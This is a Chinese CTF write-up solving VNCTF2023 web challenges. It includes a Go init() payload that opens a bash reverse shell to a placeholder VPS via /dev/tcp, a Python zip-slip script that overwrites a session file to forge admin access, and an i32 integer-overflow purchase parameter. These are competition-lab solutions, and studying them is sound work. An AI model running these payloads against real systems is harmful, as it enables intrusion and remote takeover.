VNCTF2023 web 总共有四题,其中 easyzentao 这题是一个 0day 题,比赛最后 0 解

比赛的时候,三题 web 做的比较快吧,最后到了 web 分榜第 4

象棋王子

view-source:http://c10b96ab-03e8-4850-b887-291568faf6ed.node4.buuoj.cn:81/js/play.js

1
2
3
4
5
6
7
8
play.showWin = function (my){
play.isPlay = false;
if (my===1){
............................
}else{
alert("······");
}
}

复制 js 代码到 console 运行,可以得到 flag

BabyGo

backdoor pkg 可以實現 RCE 参考

需要将所有空格替换成 \t,然后传入 /backdoor?pkg=······

1
2
3
4
5
6
7
8
9
10
11
os/exec"
"fmt"
)
func init(){
cmd := exec.Command("/bin/bash","-c","/bin/bash -i >& /dev/tcp/vps/port 0>&1")
res,err := cmd.CombinedOutput()
fmt.Println(string(res))
fmt.Println(err)
}
const(
Message="fmt

本地生成 admin 的 user.gob,利用 unzip 任意文件写,覆盖 session 文件将自己伪造成 admin

这一段代码中 fileutil.Unzip 还是会有 zip 任意文件写入漏洞

1
2
3
4
5
6
7
8
9
10
for _, file := range files {
if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
err := fileutil.UnZip(userUploadDir+file, destPath)
if err != nil {
c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
return
}
fileutil.RemoveFile(userUploadDir + file)
}
}

生成恶意 zip 文件的 python 脚本

1
2
3
4
5
import zipfile

zf = zipfile.ZipFile('zip.zip', 'w') # the name of the malicious file that will overwrite the origial file (must exist on disk)
fname = 'user.gob' #destination path of the file
zf.write(fname, '../user.gob')

上传 zip.zip,然后访问 /unzip 路由,反弹 shell

电子木鱼

rust 常见漏洞,整数溢出漏洞

购买 quantity=214748365&name=Cost 使其 i32 溢出即可